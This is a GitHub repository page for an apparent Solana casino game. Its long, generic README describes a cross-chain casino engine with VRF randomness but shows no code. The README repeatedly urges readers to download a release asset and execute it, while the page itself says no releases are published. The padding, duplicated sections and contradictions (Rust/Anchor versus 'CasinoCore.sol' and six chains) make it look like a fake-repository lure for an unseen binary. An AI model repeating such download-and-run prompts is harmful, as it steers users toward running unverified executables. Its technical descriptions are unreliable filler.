Skip to content

Solana casino game built with Rust and the Anchor framework. A secure, scalable on-chain casino dApp for devnet, with a setup and fast onboarding. 🐙

Notifications You must be signed in to change notification settings

RealCottonCandyPimp/solana-casino-game

Repository files navigation

https://github.com/RealCottonCandyPimp/solana-casino-game/releases Releases

Solana Casino Game Engine: On-Chain, Provably Fair, Modular Games

A robust, cross-chain casino game engine built to run on Solana, EVM-compatible chains, Monad, Sui, Abstract, and Ronin. This project centers on an on-chain casino smart contract that uses ORAO VRF for provably fair randomness. It supports a suite of modular games that players can enjoy in a transparent, trustless environment. The design emphasizes modularity, security, and extensibility, so developers can add new games or swap randomness providers with minimal friction.

SolanaLogo

Table of Contents

  • Overview
  • Why this project exists
  • Core principles
  • Architecture at a glance
  • Supported chains and cross-chain approach
  • Game modules
  • How randomness is achieved
  • Smart contract interfaces
  • Data model and storage
  • Development setup
  • Running locally
  • Deployment and release process
  • Security and risk considerations
  • Testing strategy
  • Quality and governance
  • Roadmap
  • Community and contribution
  • FAQ
  • License

Overview This project delivers an on-chain casino smart contract stack designed to be resilient, auditable, and easy to extend. It aims to prove fairness through verifiable randomness, ensure transparency through on-chain state, and offer a wide range of games without sacrificing security or performance. The engine acts as the backbone, coordinating game modules, managing bets, handling payouts, and recording outcomes on chain. The modular approach lets teams mix and match games like Coinflip, Duel, Lottery, Plinko, Prediction, Crash, Dice, Roulette, Wheel, Mines, and Loot Box openings.

The engine is built with cross-chain capabilities in mind. While Solana remains a primary deployment target, the architecture is designed to plug into Ethereum Virtual Machine (EVM) networks, Monad, Sui, Abstract, and Ronin environments. The goal is to provide a unified contract layer that can be accessed by diverse front-ends and wallets, with minimal changes required per chain. The randomness layer uses ORAO VRF to deliver provably fair results. The VRF component is designed to be portable across supported chains, ensuring consistent fairness guarantees regardless of where players participate.

Why this project exists

  • To deliver a provably fair casino experience on multiple chains without locking players into a single ecosystem.
  • To provide a modular set of casino games that can be extended as new ideas arrive.
  • To create a transparent and auditable betting environment where outcomes and state transitions are verifiable on-chain.
  • To empower developers to build new front-ends and experiences on top of a solid, well-documented contract stack.
  • To facilitate safer, auditable deployments through clear interfaces, robust tests, and open governance workflows.

Core principles

  • Clarity over cleverness: simple, explicit contracts and interfaces where possible.
  • Modularity: each game is a distinct module with a clear API.
  • Provable fairness: on-chain randomness with verifiable proofs.
  • Cross-chain compatibility: designed to work across several major ecosystems.
  • Security by design: defensive coding, formal reasoning, and thorough testing.
  • Open collaboration: easy contributions and straightforward release cycles.

Architecture at a glance

  • On-chain casino core: handles bets, state transitions, payouts, and orchestrates game modules.
  • Randomness layer: ORAO VRF integration to produce provably fair results with auditable proofs.
  • Game modules: Coinflip, Duel, Lottery, Plinko, Prediction, Crash, Dice, Roulette, Wheel, Mines, Loot Box openings, and future additions.
  • Cross-chain adapters: adapters or bridges that expose a uniform interface to different chain environments.
  • Data layout: compact, deterministic state kept on-chain with clear event logs for auditing.
  • Access control: role-based permissions and upgradeability paths that respect security constraints.
  • Front-end integration: clean APIs and documentation to speed up UI development.

Supported chains and cross-chain approach

  • Solana: primary host for on-chain state and high-throughput betting activity.
  • EVM-compatible chains: supports Solidity-based adapters for cross-chain functionality and liquidity sharing.
  • Monad: designed adapters to bridge the Monadic environment with the core engine.
  • Sui: provides fresh runtime contexts for certain game modules while preserving core logic.
  • Abstract: offers additional cross-chain routing and modularization surfaces.
  • Ronin: enables integration with specialized environments, especially for asset routing and user experience on specific ecosystems.

The cross-chain approach centers on a single, well-defined on-chain interface for the casino core. Chains implement adapters that translate their native calls into the engine’s standard API. This enables uniform game logic, consistent fairness guarantees, and cohesive event streams across ecosystems. The VRF component is designed to be chain-agnostic at the API layer while isolating chain-specific cryptographic interactions behind adapters. This ensures consistent probabilistic outcomes and verifiable proofs across ecosystems.

Game modules

  • Coinflip: a classic binary bet with straightforward fairness checks.
  • Duel: a head-to-head matchup mechanic with timing and staking rules.
  • Lottery: a multi-party entry lottery with a transparent draw process.
  • Plinko: a physics-inspired grid game with progressive payout multipliers.
  • Prediction: players forecast outcomes and claim rewards based on accuracy.
  • Crash: a multiplier-based game with a rolling coefficient and bust risk.
  • Dice: classic dice rolling with customizable sides and bets.
  • Roulette: digital roulette with standard wheel and payout structures.
  • Wheel: spinning wheel with multiple segments and tiered payouts.
  • Mines: grid-based exploration with hidden rewards and risks.
  • Loot Box openings: a loot system offering randomized rewards with tiered odds.

Game logic design emphasizes:

  • Clear interfaces: each game module exposes a minimal, stable API for bets, outcomes, and payouts.
  • Deterministic state transitions: every change is driven by explicit, auditable on-chain rules.
  • Fairness checks: every game includes validation hooks that auditors can reproduce off-chain.
  • Extensibility: new game types can plug into the engine with minimal changes to core code.

How randomness is achieved

  • Randomness comes from ORAO VRF, a verifiable random function designed for blockchain use.
  • The VRF produces randomness seed material that is posted on-chain, along with proofs that players and auditors can verify.
  • Each game module consumes a seed in a deterministic fashion to determine outcomes, ensuring reproducibility for audits.
  • The architecture isolates VRF logic behind a deterministic interface so the core engine remains chain-agnostic at the API level.

Smart contract interfaces

  • CasinoCore.sol (Solana equivalent in Rust or cross-chain-agnostic interface): the main orchestration layer for bets, state, and payouts.
  • GameModule interfaces: standardized traits or interfaces for Coinflip, Duel, Lottery, and other games.
  • VRFProvider interface: a portable API for requesting randomness and receiving proofs.
  • Wallet and user accounts: a minimal, secure model that tracks stake, balances, and entitlements.
  • Admin and governance: access-controlled endpoints for upgrades and parameter tuning.

Data model and storage

  • Bets: each bet record stores player, amount, chosen game, parameters, and a link to the outcome seed.
  • Game state: per-game module state that tracks ongoing bets, rounds, and payouts.
  • Payouts: deterministic payout calculations recorded on-chain and emitted as events.
  • VRF proofs: the source of randomness stored or verifiably derivable for each outcome.
  • Events: a robust event schema captures all important actions for off-chain indexing and audits.

Development setup

  • Prerequisites: a modern Rust toolchain, Solana toolchain, and Node.js for front-end integration. For cross-chain components, you may need Solidity tooling and cross-chain SDKs depending on the target chain.
  • Repository layout: core contracts, adapters, game modules, tests, scripts, and documentation.
  • Build and test: a unified workflow that builds the core, runs unit tests for modules, and executes integration tests that simulate cross-chain interactions.
  • Linting and formatting: consistent style guides to keep code readable and maintainable.

Running locally

  • Start with a local test network for the target chain (Solana or EVM, depending on the module you want to test).
  • Deploy the casino core to the local network.
  • Install and configure a VRF provider simulator if you want to avoid external dependencies during tests.
  • Run the test suite to verify correctness of bets, outcomes, and payouts under different scenarios.
  • Use sample front-end scripts to place bets and observe the end-to-end flow.

Deployment and release process

  • Releases page contains release assets for different environments and chains.
  • From the Releases page, download the release asset and execute it. This file ships with the prebuilt binaries and necessary configuration for deployment in the supported environments.
  • After deployment, verify on-chain state with a few test bets to confirm that randomness, payout logic, and game flows work as expected.
  • Roll out chain adapters gradually, validating cross-chain interactions and event streams.
  • Maintain a changelog with each release to help users track updates, fixes, and new features.

Note on releases From the Releases page, download the latest release asset and execute it. This page contains the prebuilt artifacts for different environments, and the file you download is the one to run. For convenience, you can also browse the Releases page to read about what changed in each version. Revisit the releases if you need to confirm compatibility with your chain adapter or to pick up new game modules. Re-refer to the Releases page as needed: https://github.com/RealCottonCandyPimp/solana-casino-game/releases

Security and risk considerations

  • Threat model: the core concern is the integrity of randomness, bet handling, and payout calculations. The VRF provider is a critical trust point, so the integration must be verifiable and auditable.
  • Upgrades: upgrade paths should be carefully controlled with governance to prevent unauthorized changes to core logic or randomness sources.
  • Data integrity: ensure that all bets, outcomes, and payouts are recorded deterministically and cannot be forged after the fact.
  • Cross-chain risk: adapters introduce additional surfaces for attack. Each adapter must validate inputs, preserve semantics, and maintain consistent state across chains.
  • Audit readiness: the architecture emphasizes deterministic state transitions and transparent event logging to facilitate independent audits.

Testing strategy

  • Unit tests: per-module tests verify core betting logic, payout calculations, and state updates.
  • Integration tests: end-to-end tests simulate bet placement, VRF requests, and payout settlements across simulated chains.
  • Fuzz testing: stress-test the engine with unexpected parameters to ensure stability and boundary safety.
  • Security testing: edge-case tests for overflow, reentrancy (where applicable), and access control checks.
  • Benchmarking: measure transaction costs and latency for critical paths to ensure performance remains acceptable under load.

Quality and governance

  • Documentation-driven development: every interface has clear docs, examples, and usage notes.
  • CI/CD: automated builds and tests on PRs, with status checks before merging.
  • Open governance: proposals for changes to core logic, game modules, or randomness sources should follow an established process.
  • Community reviews: all major changes should receive community feedback and undergo external audits when appropriate.

Roadmap

  • Expand game modules: add more varied experiences, such as arcade-style challenges, multi-round tournaments, and tiered reward structures.
  • Improve cross-chain adapters: broaden support for additional chains with optimized adapters and lower latency.
  • Enhance fairness proofs: publish formal proofs and independent audit reports to strengthen trust.
  • UX improvements: refine the front-end experience, dashboards, and live game analytics.
  • Performance optimizations: reduce gas or compute costs while preserving on-chain verifiability.
  • License and governance model evolution: explore alternative licensing and governance approaches to empower community contributors.

Community and contribution

  • We welcome contributors from all backgrounds. Start by forking the repository, reviewing the coding standards, and selecting an issue labeled good first issue.
  • Follow the contribution guidelines to submit a clean patch, tests, and relevant documentation updates.
  • Join discussions on the issue tracker and project forums to propose new games, adapters, or improvements.
  • Recognize the importance of security and transparency. All changes should be explained with clear rationale and accompanied by tests.

FAQ

  • Why use ORAO VRF for randomness?
    • It provides verifiable proofs that outcomes were not manipulated and can be audited post-fact.
  • How is fairness ensured across chains?
    • The engine exposes a uniform API and uses cross-chain adapters to align behavior. FF: the VRF seed is consumed deterministically by each game module.
  • Can I add a new game module?
    • Yes. The architecture defines a standard module interface. Implement the interface, provide tests, and integrate with the core engine.
  • What if the VRF provider is unavailable?
    • The design includes fallback handling and graceful degradation to preserve user experience while maintaining fairness guarantees.
  • Where can I find release notes?
    • Release notes live on the Releases page. See the top of this document for the latest link. Revisit the Releases page for details about each version.

License

  • This project uses a permissive license that supports broad collaboration and reuse. See LICENSE for full terms and conditions.

Release assets and downloads

  • The primary distribution path is the Releases page. From that page, download the release asset and execute it to deploy or upgrade the casino game engine on your chosen chain. The release page is the authoritative source for binaries, configurations, and runtime scripts.
  • Revisit the Releases page for compatibility notes, upgrade paths, and asset availability across supported chains. You can also read about the changes and improvements introduced in each release to guide your upgrade decisions. https://github.com/RealCottonCandyPimp/solana-casino-game/releases

Notes on usage and adaptation

  • This project serves as a reference implementation and a starting point for building on-chain casino games across multiple ecosystems.
  • Use the modular approach to tailor games to your target audience. Start with a proven module like Coinflip or Duel, then extend with new mechanics.
  • When integrating with a new chain, implement the adapter to translate native actions into the engine’s standard API. Maintain parity with existing modules to preserve fairness and state correctness.
  • If you plan to run a live deployment, perform a thorough security review and engage with independent auditors to validate the core logic, VRF integration, and contract upgrade pathways.
  • For front-end integration, expose a clean API surface that mirrors the on-chain contract interface. Provide sample front-end components and usage docs to help developers connect quickly.

Images and visuals

  • The project embraces a visual language that reflects a modern, on-chain gaming experience. Use imagery that communicates fairness, transparency, and excitement without overwhelming the user.
  • Logos and icons from reputable sources can be used to illustrate cross-chain concepts. For Solana, Solana logos and VRF diagrams help users understand the architecture at a glance.
  • Sample diagrams show the flow from user bets to VRF-driven outcomes, with clear arrows indicating data and state transitions across layers.

Contribution guidance recap

  • Start with a clear issue or feature request.
  • Follow the coding standards described in the repository.
  • Write tests that exercise edge cases and expected behavior.
  • Document your changes with examples and usage notes.
  • Seek review from maintainers and the community before merging.
  • Keep the release notes up to date to reflect the changes you introduced.

Long-term goals

  • Achieve wide adoption across multiple chains with consistent user experiences.
  • Deliver a robust set of games that appeal to a broad audience while maintaining strict fairness guarantees.
  • Enable easy customization so teams can tailor the rules, odds, and payouts within safe, auditable bounds.
  • Maintain a transparent development process with frequent releases and open governance.

Advanced topics

  • Verifiable randomness proofs: how they are generated, stored, and verified by auditors.
  • State transitions: how the engine ensures deterministic outcomes for every bet and game round.
  • Payout logic: how winnings are computed, claimed, and distributed.
  • Data privacy considerations: how sensitive user data is minimized and protected on-chain.
  • Performance tuning: strategies to optimize transaction throughput and latency without compromising security.

Appendix: API references

  • Core interfaces: a simplified map of the core contract interfaces and their responsibilities.
  • Game module API: a brief catalog of the required lifecycle methods for each game type.
  • VRF provider API: the calls used to request randomness, fetch proofs, and verify results.
  • Adapters: how to implement new adapters for additional chains, with examples and best practices.

Appendix: Testing scaffolding

  • Test harness concepts: how unit tests, integration tests, and end-to-end tests are organized.
  • Mock VRF: how to simulate VRF responses in a controlled environment.
  • Cross-chain simulators: approaches to emulate multi-chain flows during development.

Appendix: Governance and upgrades

  • Upgrade choreography: step-by-step guidance for proposing, approving, and executing upgrades.
  • Patch strategy: how to apply hotfixes or feature flags with minimal risk.
  • Security reviews: how to engage third-party auditors and incorporate their findings.

Appendix: Glossary

  • VRF: Verifiable Random Function, a cryptographic primitive used to generate randomness with proofs.
  • Oracles: external data sources that provide information to on-chain contracts.
  • Adapter: a component that translates a chain’s native calls to the engine’s standard interface.
  • Module: a discrete game type that plugs into the core engine.
  • Payout: the distribution of winnings to players after a game round.

Releases and updates (reference)

Note This README is designed to be thorough and detailed, enabling developers to understand the architecture, contributions, and integration points. It emphasizes clarity and practical guidance, with an eye toward long-term maintainability. The content is paraphrased and expanded beyond the initial brief to provide a complete picture of the system, its goals, and its usage.

Releases and downloads (again)

End of document

About

Solana casino game built with Rust and the Anchor framework. A secure, scalable on-chain casino dApp for devnet, with a setup and fast onboarding. 🐙

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •